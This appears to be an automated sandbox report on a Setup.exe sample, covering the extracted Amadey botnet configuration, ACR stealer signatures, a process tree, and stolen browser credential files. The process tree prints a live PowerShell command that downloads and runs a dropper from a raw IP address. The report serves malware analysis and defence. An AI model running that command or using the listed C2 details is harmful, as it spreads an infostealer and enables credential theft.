Analysis

  • max time kernel
    302s
  • max time network
    285s
  • platform
    windows11-21h2_x64
  • resource
    win11-20251015-en
  • resource tags

    arch:x64arch:x86image:win11-20251015-enlocale:en-usos:windows11-21h2-x64system
  • submitted
    04/11/2025, 15:01

General

  • Target
    Setup.exe
  • Size 672.3MB
  • Sample251104-sd7dastrdr
  • SHA256 962bdc61115c4f4bbf4a70a01c5adebd457cab719013ab971b6ca09dfb345c84
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Extracted

Language
  • ps1

Deobfuscated
Source
URLs
  • ps1.dropper

    http://87.120.219.26/CCZT7wMNnD29ie

Extracted

Family
  • amadey

Version
  • 5.70

Botnet
  • 2265ca

C2
  • http://mi.huffproofs.com

Attributes
  • install_dir

    3be1510d5b

  • install_file

    Pwvoqdmgn.exe

  • strings_key

    13416e8592239dcfe754c2affc83cb4f

  • url_paths

    /kaWt2QXfpPueNM/index.php

rc4.plain

Signatures

  • ACR stealer,GrMsk

    ACR stealer (aka GrMsk stealer) is an infostealer written in C++.

  • Acrstealer family
  • Amadey

    Amadey bot is a simple trojan bot primarily used for collecting reconnaissance information.

  • Amadey family
  • Detects Amadey x86-bit Payload 1 IoCs
  • Detects unpacked ACRstealer payload 1 IoCs
  • Badlisted process makes network request 1 IoCs

    Network request originating from process or tool commonly abused by malware.

  • Reads user/profile data of local email clients 2 TTPs

    Email clients store some user data on disk where infostealers will often target it.

  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Using powershell.exe command.

  • Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs
  • Suspicious use of SetThreadContext 10 IoCs
  • Program crash 1 IoCs
  • System Location Discovery: System Language Discovery 1 TTPs 4 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\Setup.exe
    "C:\Users\Admin\AppData\Local\Temp\Setup.exe"
    1⤵
    • Suspicious use of NtSetInformationThreadHideFromDebugger
    • Suspicious use of SetThreadContext
    • System Location Discovery: System Language Discovery
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of WriteProcessMemory
    PID:2448
    • C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe"
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:2408
    • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:5256
    • C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe"
      2⤵
        PID:5260
      • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"
        2⤵
          PID:1108
        • C:\Program Files\Google\Chrome\Application\chrome.exe
          "C:\Program Files\Google\Chrome\Application\chrome.exe"
          2⤵
            PID:3324
          • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
            "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"
            2⤵
              PID:2328
            • C:\Program Files\Google\Chrome\Application\chrome.exe
              "C:\Program Files\Google\Chrome\Application\chrome.exe"
              2⤵
                PID:3000
              • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"
                2⤵
                  PID:2336
                • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                  powershell.exe -NoProfile -ExecutionPolicy Bypass -Command "IEX (New-Object Net.WebClient).DownloadString('http://87.120.219.26/CCZT7wMNnD29ie')"
                  2⤵
                  • Badlisted process makes network request
                  • Command and Scripting Interpreter: PowerShell
                  • System Location Discovery: System Language Discovery
                  • Suspicious use of AdjustPrivilegeToken
                  PID:5460
                • C:\Windows\SysWOW64\rundll32.exe
                  "C:\Windows\SysWOW64\rundll32.exe"
                  2⤵
                  • System Location Discovery: System Language Discovery
                  PID:5724
                • C:\Windows\SysWOW64\rundll32.exe
                  "C:\Windows\SysWOW64\rundll32.exe"
                  2⤵
                  • System Location Discovery: System Language Discovery
                  PID:5036
                  • C:\Windows\SysWOW64\WerFault.exe
                    C:\Windows\SysWOW64\WerFault.exe -u -p 5036 -s 532
                    3⤵
                    • Program crash
                    PID:988
              • C:\Program Files\Google\Chrome\Application\133.0.6943.60\elevation_service.exe
                "C:\Program Files\Google\Chrome\Application\133.0.6943.60\elevation_service.exe"
                1⤵
                  PID:2400
                • C:\Program Files (x86)\Microsoft\Edge\Application\133.0.3065.69\elevation_service.exe
                  "C:\Program Files (x86)\Microsoft\Edge\Application\133.0.3065.69\elevation_service.exe"
                  1⤵
                    PID:3948
                  • C:\Windows\SysWOW64\WerFault.exe
                    C:\Windows\SysWOW64\WerFault.exe -pss -s 476 -p 5036 -ip 5036
                    1⤵
                      PID:6140

                    Network

                          MITRE ATT&CK Enterprise v16

                          Replay Monitor

                          Loading Replay Monitor...

                          Downloads

                          Cookies

                          • Path C:\Users\Admin\AppData\Local\Temp\Cookies
                          • Size 20KB
                          • SHA256 2b4ad5d8a97d902499d029486ed7c154705710805448fbf1544e0e300ba762bc
                          • MD5 SHA1 SHA512 SSDEEP

                          Cookies

                          • Path C:\Users\Admin\AppData\Local\Temp\Cookies
                          • Size 20KB
                          • SHA256 5ef0bee4eabbe815d44d5f62331c46defb3f8f8f744138125f48a6046a7c5732
                          • MD5 SHA1 SHA512 SSDEEP

                          Login Data

                          • Path C:\Users\Admin\AppData\Local\Temp\Login Data
                          • Size 40KB
                          • SHA256 c007da2e5fd780008f28336940b427c3bfd509c72a40bfb7759592149ff3606e
                          • MD5 SHA1 SHA512 SSDEEP

                          Login Data

                          • Path C:\Users\Admin\AppData\Local\Temp\Login Data
                          • Size 56KB
                          • SHA256 ce41f2a3255df2099ae8eea9364bd28c6fd6a56c8ca3290bd274944d16d9e6bf
                          • MD5 SHA1 SHA512 SSDEEP

                          Web Data

                          • Path C:\Users\Admin\AppData\Local\Temp\Web Data
                          • Size 130KB
                          • SHA256 6b6225d3ed9359fc758f76d69be403335e2706857c5f0966fba5a316fb7c53bf
                          • MD5 SHA1 SHA512 SSDEEP

                          Web Data

                          • Path C:\Users\Admin\AppData\Local\Temp\Web Data
                          • Size 228KB
                          • SHA256 257947aba31142bab41ca56915c2ef843c2a156c527dee5d1a07e1224e380aed
                          • MD5 SHA1 SHA512 SSDEEP

                          __PSScriptPolicyTest_n2an0xz1.cz1.ps1

                          • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_n2an0xz1.cz1.ps1
                          • Size 60B
                          • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
                          • MD5 SHA1 SHA512

                          memory/1108-1806-0x0000028352870000-0x0000028352872000-memory.dmp

                          memory/2328-1812-0x000001D1D6170000-0x000001D1D6172000-memory.dmp

                          memory/2336-1818-0x0000026A36090000-0x0000026A36092000-memory.dmp

                          memory/2408-1732-0x0000016CAABD0000-0x0000016CAABD2000-memory.dmp

                          memory/2448-1147-0x00000000FFCB0000-0x00000000FFCB1000-memory.dmp

                          memory/2448-1133-0x00000000FFCB0000-0x00000000FFCB1000-memory.dmp

                          memory/2448-1189-0x0000000001FA0000-0x0000000001FE2000-memory.dmp

                          memory/2448-1361-0x0000000001FA0000-0x0000000001FE2000-memory.dmp

                          memory/2448-1378-0x0000000001FA0000-0x0000000001FE2000-memory.dmp

                          memory/2448-1377-0x0000000001FA0000-0x0000000001FE2000-memory.dmp

                          memory/2448-1362-0x0000000001FA0000-0x0000000001FE2000-memory.dmp

                          memory/2448-1354-0x0000000001FA0000-0x0000000001FE2000-memory.dmp

                          memory/2448-1343-0x0000000001FA0000-0x0000000001FE2000-memory.dmp

                          memory/2448-1335-0x0000000001FA0000-0x0000000001FE2000-memory.dmp

                          memory/2448-1321-0x0000000001FA0000-0x0000000001FE2000-memory.dmp

                          memory/2448-1320-0x0000000001FA0000-0x0000000001FE2000-memory.dmp

                          memory/2448-1313-0x0000000001FA0000-0x0000000001FE2000-memory.dmp

                          memory/2448-1298-0x0000000001FA0000-0x0000000001FE2000-memory.dmp

                          memory/2448-1283-0x0000000001FA0000-0x0000000001FE2000-memory.dmp

                          memory/2448-1284-0x0000000001FA0000-0x0000000001FE2000-memory.dmp

                          memory/2448-1276-0x0000000001FA0000-0x0000000001FE2000-memory.dmp

                          memory/2448-1262-0x0000000001FA0000-0x0000000001FE2000-memory.dmp

                          memory/2448-1260-0x0000000001FA0000-0x0000000001FE2000-memory.dmp

                          memory/2448-1254-0x0000000001FA0000-0x0000000001FE2000-memory.dmp

                          memory/2448-1239-0x0000000001FA0000-0x0000000001FE2000-memory.dmp

                          memory/2448-1240-0x0000000001FA0000-0x0000000001FE2000-memory.dmp

                          memory/2448-1232-0x0000000001FA0000-0x0000000001FE2000-memory.dmp

                          memory/2448-1222-0x0000000001FA0000-0x0000000001FE2000-memory.dmp

                          memory/2448-1217-0x0000000001FA0000-0x0000000001FE2000-memory.dmp

                          memory/2448-1203-0x0000000001FA0000-0x0000000001FE2000-memory.dmp

                          memory/2448-1196-0x0000000001FA0000-0x0000000001FE2000-memory.dmp

                          memory/2448-1182-0x0000000001FA0000-0x0000000001FE2000-memory.dmp

                          memory/2448-1175-0x0000000001FA0000-0x0000000001FE2000-memory.dmp

                          memory/2448-1168-0x0000000001FA0000-0x0000000001FE2000-memory.dmp

                          memory/2448-1161-0x0000000001FA0000-0x0000000001FE2000-memory.dmp

                          memory/2448-1154-0x0000000001FA0000-0x0000000001FE2000-memory.dmp

                          memory/2448-1299-0x0000000001FA0000-0x0000000001FE2000-memory.dmp

                          memory/2448-0-0x00000000FFCB0000-0x00000000FFCB1000-memory.dmp

                          memory/2448-1145-0x0000000001FA0000-0x0000000001FE2000-memory.dmp

                          memory/2448-1142-0x00000000FFCB0000-0x00000000FFCB1000-memory.dmp

                          memory/2448-1139-0x00000000FFCB0000-0x00000000FFCB1000-memory.dmp

                          memory/2448-1136-0x00000000FFCB0000-0x00000000FFCB1000-memory.dmp

                          memory/2448-1134-0x00000000FFCB0000-0x00000000FFCB1000-memory.dmp

                          memory/2448-22-0x00000000FFCB0000-0x00000000FFCB1000-memory.dmp

                          memory/2448-1404-0x00000000FFE60000-0x00000000FFE61000-memory.dmp

                          memory/2448-1405-0x0000000003C30000-0x0000000003C33000-memory.dmp

                          memory/2448-1391-0x00000000FFE30000-0x00000000FFE4C000-memory.dmp

                          memory/2448-1429-0x0000000003C40000-0x0000000003C5A000-memory.dmp

                          memory/2448-1612-0x0000000000400000-0x0000000001BAE000-memory.dmp

                          memory/2448-5-0x00000000FFCB0000-0x00000000FFCB1000-memory.dmp

                          memory/2448-6-0x00000000FFCB0000-0x00000000FFCB1000-memory.dmp

                          memory/2448-3-0x00000000FFCB0000-0x00000000FFCB1000-memory.dmp

                          memory/2448-8-0x00000000FFCB0000-0x00000000FFCB1000-memory.dmp

                          memory/2448-14-0x00000000FFCB0000-0x00000000FFCB1000-memory.dmp

                          memory/2448-10-0x00000000FFCB0000-0x00000000FFCB1000-memory.dmp

                          memory/3000-1815-0x000001CBC8800000-0x000001CBC8802000-memory.dmp

                          memory/3324-1809-0x00000295FE9A0000-0x00000295FE9A2000-memory.dmp

                          memory/5036-1846-0x0000000003940000-0x0000000003F50000-memory.dmp

                          memory/5036-1848-0x0000000003940000-0x0000000003F50000-memory.dmp

                          memory/5036-1847-0x0000000003940000-0x0000000003F50000-memory.dmp

                          memory/5036-1842-0x0000000003940000-0x0000000003F50000-memory.dmp

                          memory/5036-1841-0x0000000000C60000-0x0000000000C63000-memory.dmp

                          memory/5256-1802-0x0000021D1DC20000-0x0000021D1DC22000-memory.dmp

                          memory/5260-1803-0x0000027372630000-0x0000027372632000-memory.dmp

                          memory/5460-1839-0x0000000005AF0000-0x0000000005B0E000-memory.dmp

                          memory/5460-1822-0x0000000004670000-0x00000000046A6000-memory.dmp

                          memory/5460-1838-0x0000000005610000-0x0000000005967000-memory.dmp

                          memory/5460-1830-0x0000000005530000-0x0000000005596000-memory.dmp

                          memory/5460-1840-0x0000000005BA0000-0x0000000005BEC000-memory.dmp

                          memory/5460-1829-0x0000000004B40000-0x0000000004B62000-memory.dmp

                          memory/5460-2062-0x000000000D110000-0x000000000D6B6000-memory.dmp

                          memory/5460-2061-0x000000000BA30000-0x000000000BA52000-memory.dmp

                          memory/5460-1823-0x0000000004D90000-0x00000000053BA000-memory.dmp

                          memory/5460-1831-0x00000000055A0000-0x0000000005606000-memory.dmp

                          memory/5460-2056-0x0000000007130000-0x00000000077AA000-memory.dmp

                          memory/5460-2057-0x0000000006040000-0x000000000605A000-memory.dmp

                          memory/5460-2059-0x0000000073C90000-0x0000000074441000-memory.dmp

                          memory/5460-2060-0x000000000CAC0000-0x000000000CB56000-memory.dmp

                          memory/5724-1824-0x0000000001470000-0x0000000001473000-memory.dmp

                          memory/5724-1825-0x0000000002F50000-0x0000000002FA2000-memory.dmp

                          memory/5724-2066-0x0000000000400000-0x000000000046F000-memory.dmp